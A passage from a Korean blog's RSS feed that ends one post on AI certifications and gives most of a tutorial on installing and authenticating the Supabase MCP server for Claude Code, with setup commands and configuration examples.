#0066cc;&quot; href=&quot;https://www.nvidia.com/en-us/training/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;NVIDIA DLI&lt;/a&gt; &amp;mdash; RAG, LLM, GPU 실습 환경&lt;br /&gt;&lt;br /&gt;&lt;b&gt;한국 국가공인 자격증&lt;/b&gt;&lt;br /&gt;&amp;bull; &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://aice.study/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;AICE (AI 분야 유일 국가공인)&lt;/a&gt; &amp;mdash; 200개+ 기관 채용 우대&lt;br /&gt;&amp;bull; &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.dataq.or.kr/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;ADsP (데이터분석 준전문가)&lt;/a&gt; &amp;mdash; 응시자 다수, 비전공자 취득 가능&lt;br /&gt;&lt;br /&gt;&lt;b&gt;유령 자격증 검증&lt;/b&gt;&lt;br /&gt;&amp;bull; &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.pqi.or.kr&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;pqi.or.kr (민간자격정보서비스)&lt;/a&gt; &amp;mdash; 자격증 진위 확인&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;이 글의 정보는 &lt;/span&gt;&lt;b&gt;2026년 3월 기준&lt;/b&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;이다. AI 교육 플랫폼과 자격증 제도는 빠르게 변한다. 특히 수료증 발급 조건, 자격증 시험 일정, 프로모션 내용은 각 공식 사이트에서 반드시 최신 정보를 확인하자.&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;</description>
      <category>AI/Tech Lounge: IT 이슈와 생각들</category>
      <category>ai 자격증</category>
      <category>AI 자격증 2026</category>
      <category>AICE 자격증</category>
      <category>Anthropic Academy</category>
      <category>AWS Skill Builder</category>
      <category>Google Cloud Skill Badge</category>
      <category>IBM SkillsBuild</category>
      <category>LangChain Academy</category>
      <category>무료 AI 수료증</category>
      <category>취준생 AI 스펙</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/550</guid>
      <comments>https://goddaehee.tistory.com/550#entry550comment</comments>
      <pubDate>Tue, 17 Mar 2026 21:37:11 +0900</pubDate>
    </item>
    <item>
      <title>개발자를 위한 MCP 추천(5-1) - Supabase MCP 설치 및 사용방법 : 자연어로 PostgreSQL을 다루는 법, AI가 데이터베이스를 직접 설계</title>
      <link>https://goddaehee.tistory.com/549</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;&lt;!-- ✦ 2026년 시리즈 도입부 ✦ --&gt;
&lt;div style=&quot;background: linear-gradient(135deg, #1a3a52 0%, #0066cc 100%); padding: 28px 30px; border-radius: 16px; margin-bottom: 10px; color: white;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0; font-size: 12px; opacity: 0.75; letter-spacing: 1.5px; font-weight: 600; text-transform: uppercase;&quot; data-ke-size=&quot;size16&quot;&gt;2026년 3월 &amp;middot; 개발자를 위한 MCP 추천 시리즈&lt;/p&gt;
&lt;h2 style=&quot;margin: 0 0 14px 0; font-size: 22px; font-weight: 800; line-height: 1.4; color: white;&quot; data-ke-size=&quot;size26&quot;&gt;&quot;MCP가 죽었다&quot;말도 나오는데, 그래도 현시점 쓸만한 MCP 10개&lt;/h2&gt;
&lt;p style=&quot;margin: 0; font-size: 15px; line-height: 1.8; opacity: 0.92;&quot; data-ke-size=&quot;size16&quot;&gt;2025년에 썼던 개발자용 MCP 시리즈들이, 이제 상당 부분 구버전이 됐다. &lt;br /&gt;생태계가 빠르게 변했고, 새로 등장한 도구들도 많다. &lt;br /&gt;2026년 3월, 다시 한번 실제로 써보고 쓸 만한 것들만 골라 정리해려고 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f7ff; border: 1px solid #cce5ff; border-left: 5px solid #0066cc; padding: 20px 24px; border-radius: 0 12px 12px 0; margin-bottom: 10px; font-size: 15px; line-height: 1.9;&quot;&gt;&lt;b&gt;이 시리즈를 다시 쓰는 이유&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;지난 2월 말, &lt;a href=&quot;https://goddaehee.tistory.com/535&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&quot;MCP는 죽었다, CLI 만세 &amp;mdash; Eric Holmes의 도발적 주장&quot;&lt;/a&gt;이라는 글을 정리한 적이 있다. Eric Holmes가 주장한 핵심은 간단하다. &lt;b&gt;LLM은 이미 CLI에 능숙하다. 그렇다면 MCP라는 별도의 추상 계층이 굳이 필요한가?&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;실제로 Claude Code 환경에서 MCP 대신 &lt;b&gt;CLI&lt;/b&gt;로 해결되는 경우가 꽤 많다. 디버깅도 쉽고, 별도 프로세스 관리도 없고, 기존 인증도 그대로 쓸 수 있다. 그 글에서 공감하신 분들이 많았다.&lt;br /&gt;&lt;b&gt;그럼에도 불구하고, MCP만이 줄 수 있는 가치가 분명히 존재한다.&lt;/b&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif;&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;오늘은 &lt;b&gt;Supabase MCP&lt;/b&gt;에 대해 알아보려고 한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Supabase가 공식으로 제공하는 MCP 서버다. Claude Code 같은 AI 에이전트에서 자연어로 DB 스키마를 잡고, SQL도 돌리고, 프로젝트 관리까지 할 수 있다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2300&quot; data-origin-height=&quot;1534&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CJAeM/dJMcaaq10Ou/fzRMKrj9AtKktbEXDgPpw0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CJAeM/dJMcaaq10Ou/fzRMKrj9AtKktbEXDgPpw0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CJAeM/dJMcaaq10Ou/fzRMKrj9AtKktbEXDgPpw0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCJAeM%2FdJMcaaq10Ou%2FfzRMKrj9AtKktbEXDgPpw0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2300&quot; height=&quot;1534&quot; data-origin-width=&quot;2300&quot; data-origin-height=&quot;1534&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;Supabase MCP란?&lt;/li&gt;
&lt;li&gt;설치 방법 (Claude Code / settings.json / Claude Desktop)&lt;/li&gt;
&lt;li&gt;주요 기능(Tools) 소개&lt;/li&gt;
&lt;li&gt;실전 활용 예시&lt;/li&gt;
&lt;li&gt;Supabase CLI vs Supabase MCP 비교&lt;/li&gt;
&lt;li&gt;주의사항 및 트러블슈팅&lt;/li&gt;
&lt;li&gt;개발자 커뮤니티 반응&lt;/li&gt;
&lt;li&gt;결론&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. Supabase MCP란?&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Supabase MCP는 Supabase 공식 팀이 개발한 MCP 서버이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;오픈소스 저장소는 &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/supabase-community/supabase-mcp&quot;&gt;supabase-community/supabase-mcp&lt;/a&gt;이며, 호스팅 엔드포인트는 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;https://mcp.supabase.com/mcp&lt;/code&gt;이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;보통 Supabase 작업은 대시보드 SQL Editor에서 직접 쿼리를 실행하거나, supabase CLI로 마이그레이션을 관리하는 방식으로 이루어진다. Supabase MCP를 쓰면 &lt;b&gt;Claude Code 대화창에서 &quot;users 테이블에 created_at 컬럼 추가해줘&quot;라고 하면 마이그레이션까지 자동으로 적용&lt;/b&gt;해준다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Supabase MCP가 특별한 이유&lt;/b&gt;&lt;br /&gt;그냥 SQL을 실행하는 것만이 아니라, &lt;b&gt;스키마 변경은 apply_migration으로, 데이터 조회는 execute_sql로 구분&lt;/b&gt;해준다. DDL(Data Definition Language)과 DML(Data Manipulation Language)이 분리되어 있어서, 실수로 스키마를 날려먹을 위험이 줄어든다. &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;read_only&lt;/code&gt; 모드도 있어서 조회만 허용하고 변경은 아예 막아버릴 수도 있다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 설치 방법&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;ex) 공식 문서 링크를 주거나&lt;span&gt; &lt;a href=&quot;https://supabase.com/docs/guides/getting-started/mcp&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://supabase.com/docs/guides/getting-started/mcp&lt;/a&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;그냥 자연어로 figma mcp 설치해줘.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;( 반대로 내 블로그 링크를 주고&amp;nbsp; 해당 mcp 설치 해줘 라고 진행해도 진행 된다. )&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;방법 1: Claude Code CLI 설치 (권장)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code가 설치된 상태에서 프로젝트 디렉토리에서 아래 명령어를 실행한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; border: 1px solid #333; margin: 15px 0; overflow-x: auto;&quot;&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# Step 1: MCP 서버 등록&lt;/span&gt;&lt;br /&gt;claude mcp add --transport http supabase https://mcp.supabase.com/mcp&lt;br /&gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;&amp;rarr; Added HTTP MCP server supabase with URL: https://mcp.supabase.com/mcp to local config&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;주의: 등록만으로는 바로 사용할 수 없다&lt;/b&gt;&lt;br /&gt;MCP 서버를 등록한 직후에는 아직 OAuth 인증이 완료되지 않았기 때문에 &lt;b&gt;연결 실패(Failed to connect)&lt;/b&gt; 상태다. &lt;b&gt;Claude Code를 반드시 재시작&lt;/b&gt;해야 인증 플로우가 트리거된다.&lt;/div&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; border: 1px solid #333; margin: 15px 0; overflow-x: auto;&quot;&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# Step 2: 현재 세션 종료 후 재시작&lt;/span&gt;&lt;br /&gt;/exit &lt;span style=&quot;color: #6a9955;&quot;&gt;# 또는 Ctrl+D&lt;/span&gt;&lt;br /&gt;claude&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# Step 3: 연결 상태 확인&lt;/span&gt;&lt;br /&gt;claude mcp list&lt;br /&gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;supabase: https://mcp.supabase.com/mcp (HTTP) - ✗ Failed to connect&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# &amp;uarr; 처음에는 이렇게 나온다. 정상이다.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;OAuth 수동 인증&lt;/b&gt;&lt;br /&gt;Claude Code 재시작 후 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;/mcp&lt;/code&gt;를 입력하면 다음과 같이 Supabase MCP 상태가 표시된다.
&lt;div style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 12px; border-radius: 6px; font-family: 'Fira Code','Consolas',monospace; font-size: 13px; margin: 10px 0;&quot;&gt;Supabase MCP Server&lt;br /&gt;&lt;br /&gt;Status: &lt;span style=&quot;color: #f44;&quot;&gt;✗&lt;/span&gt; failed&lt;br /&gt;Auth: &lt;span style=&quot;color: #f44;&quot;&gt;✗&lt;/span&gt; not authenticated&lt;br /&gt;URL: https://mcp.supabase.com/mcp&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;1. &lt;span style=&quot;color: #569cd6; text-decoration: underline;&quot;&gt;Authenticate&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;2. Reconnect&lt;br /&gt;&amp;nbsp;&amp;nbsp;3. Disable&lt;/div&gt;
ex) /mcp&lt;br /&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1092&quot; data-origin-height=&quot;376&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/l2fbF/dJMcadOK6wb/CMCCaiRJGeAFwGf7bptEL1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/l2fbF/dJMcadOK6wb/CMCCaiRJGeAFwGf7bptEL1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/l2fbF/dJMcadOK6wb/CMCCaiRJGeAFwGf7bptEL1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fl2fbF%2FdJMcadOK6wb%2FCMCCaiRJGeAFwGf7bptEL1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1092&quot; height=&quot;376&quot; data-origin-width=&quot;1092&quot; data-origin-height=&quot;376&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;b&gt;&lt;br /&gt;1. Authenticate&lt;/b&gt;를 선택하면 브라우저가 열리면서 Supabase 권한 승인 페이지가 나타난다.&lt;br /&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1398&quot; data-origin-height=&quot;1954&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bBKSV9/dJMb99ZYVdB/FRRRMkuBGl9EP9MtJhgY51/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bBKSV9/dJMb99ZYVdB/FRRRMkuBGl9EP9MtJhgY51/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bBKSV9/dJMb99ZYVdB/FRRRMkuBGl9EP9MtJhgY51/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbBKSV9%2FdJMb99ZYVdB%2FFRRRMkuBGl9EP9MtJhgY51%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1398&quot; height=&quot;1954&quot; data-origin-width=&quot;1398&quot; data-origin-height=&quot;1954&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;br /&gt;&lt;b&gt;&quot;Authorize API access for Claude Code (supabase)&quot;&lt;/b&gt; 화면에서 다음을 확인한다:
&lt;ul style=&quot;margin: 8px 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;Permissions 목록 &amp;mdash; Postgres 설정 Read/Write, Edge Functions, 프로젝트 관리 등 MCP가 요청하는 권한 범위를 확인&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;b&gt;Organization to grant API access to&lt;/b&gt; &amp;mdash; 연결할 조직을 선택 (여러 조직이 있으면 드롭다운에서 선택)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;b&gt;&quot;Authorize Claude Code (supabase)&quot;&lt;/b&gt; 버튼을 클릭하면 인증이 완료된다.
&lt;div style=&quot;background: #fff3cd; padding: 8px 12px; border-radius: 4px; margin: 10px 0 0 0; font-size: 14px;&quot;&gt;인증 후 터미널에 &lt;code style=&quot;background: #f0f0f0; padding: 1px 4px; border-radius: 3px;&quot;&gt;Authentication successful, but
        server still requires authentication&lt;/code&gt; 메시지가 나올 수 있다. &lt;b&gt;Claude Code를 한 번 더 재시작&lt;/b&gt;하면 정상 연결된다.&lt;/div&gt;
&lt;br /&gt;&lt;b&gt;인증 완료 후 확인:&lt;/b&gt;
&lt;div style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 10px; border-radius: 6px; font-family: 'Fira Code','Consolas',monospace; font-size: 13px; margin: 8px 0 0 0;&quot;&gt;claude mcp list&lt;br /&gt;&lt;span style=&quot;color: #b5cea8;&quot;&gt;supabase: https://mcp.supabase.com/mcp (HTTP) - ✓ Connected&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;OAuth가 안 될 때 &amp;mdash; PAT 방식으로 전환&lt;/b&gt;&lt;br /&gt;브라우저 팝업이 뜨지 않거나, OAuth 인증이 반복적으로 실패하는 경우 PAT(Personal Access Token) 방식으로 전환한다. CI/CD 환경이나 헤드리스 서버에서도 PAT를 사용해야 한다.&lt;br /&gt;
&lt;div style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 10px; border-radius: 6px; font-family: 'Fira Code','Consolas',monospace; font-size: 13px; margin: 8px 0 0 0;&quot;&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# 기존 MCP 제거 후 PAT 방식으로 재등록&lt;/span&gt;&lt;br /&gt;claude mcp remove supabase&lt;br /&gt;claude mcp add --transport http supabase &quot;https://mcp.supabase.com/mcp&quot; \&lt;br /&gt;&amp;nbsp;&amp;nbsp;--header &quot;Authorization: Bearer YOUR_SUPABASE_PAT&quot;&lt;/div&gt;
PAT 발급: Supabase 대시보드 &amp;rarr; 우측 상단 프로필 &amp;rarr; Account &amp;rarr; Access Tokens &amp;rarr; Generate New Token&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;방법 2: settings.json 직접 설정 (기본)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code 설정 파일에 직접 추가하는 방법이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; border: 1px solid #333; margin: 15px 0; overflow-x: auto;&quot;&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;// .claude/settings.json (프로젝트별) 또는 ~/.claude.json (글로벌)&lt;/span&gt;&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;&quot;mcpServers&quot;&lt;/span&gt;: {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;&quot;supabase&quot;&lt;/span&gt;: {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;&quot;type&quot;&lt;/span&gt;: &lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;http&quot;&lt;/span&gt;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;&quot;url&quot;&lt;/span&gt;: &lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;https://mcp.supabase.com/mcp&quot;&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;}&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;특정 프로젝트로 범위를 좁히려면 URL에 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;project_ref&lt;/code&gt; 파라미터를 추가한다. 프로젝트 참조 ID는 Supabase 대시보드 &amp;rarr; Project Settings &amp;rarr; General에서 확인할 수 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; border: 1px solid #333; margin: 15px 0; overflow-x: auto;&quot;&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;// 특정 프로젝트로 범위 제한&lt;/span&gt;&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;&quot;mcpServers&quot;&lt;/span&gt;: {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;&quot;supabase&quot;&lt;/span&gt;: {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;&quot;type&quot;&lt;/span&gt;: &lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;http&quot;&lt;/span&gt;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;&quot;url&quot;&lt;/span&gt;: &lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;https://mcp.supabase.com/mcp?project_ref=abcdefghijklmnop&quot;&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;}&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;방법 3: Personal Access Token (PAT) 방식 (OAuth 실패 시 / CI 환경)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;OAuth 인증이 반복적으로 실패하거나, CI/CD 환경처럼 브라우저가 없는 환경에서는 PAT를 사용한다. 실제로 OAuth가 잘 트리거되지 않는 경우가 종종 있으므로, &lt;b&gt;PAT 방식이 가장 확실한 연결 방법&lt;/b&gt;이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;PAT 발급 방법:&lt;/b&gt; Supabase 대시보드 &amp;rarr; 우측 상단 프로필 아이콘 &amp;rarr; Account &amp;rarr; Access Tokens &amp;rarr; Generate New Token&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; border: 1px solid #333; margin: 15px 0; overflow-x: auto;&quot;&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# CLI로 PAT 방식 등록 (OAuth 대신 사용할 때)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# 기존 OAuth 방식 MCP가 있다면 먼저 제거&lt;/span&gt;&lt;br /&gt;claude mcp remove supabase&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# PAT + 특정 프로젝트로 재등록&lt;/span&gt;&lt;br /&gt;claude mcp add --transport http supabase \&lt;br /&gt;&amp;nbsp;&amp;nbsp;&quot;https://mcp.supabase.com/mcp?project_ref=YOUR_PROJECT_REF&quot; \&lt;br /&gt;&amp;nbsp;&amp;nbsp;--header &quot;Authorization: Bearer YOUR_SUPABASE_PAT&quot;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;settings.json에 직접 작성하는 경우:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; border: 1px solid #333; margin: 15px 0; overflow-x: auto;&quot;&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;// PAT + 특정 프로젝트 범위 설정&lt;/span&gt;&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;&quot;mcpServers&quot;&lt;/span&gt;: {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;&quot;supabase&quot;&lt;/span&gt;: {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;&quot;type&quot;&lt;/span&gt;: &lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;http&quot;&lt;/span&gt;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: 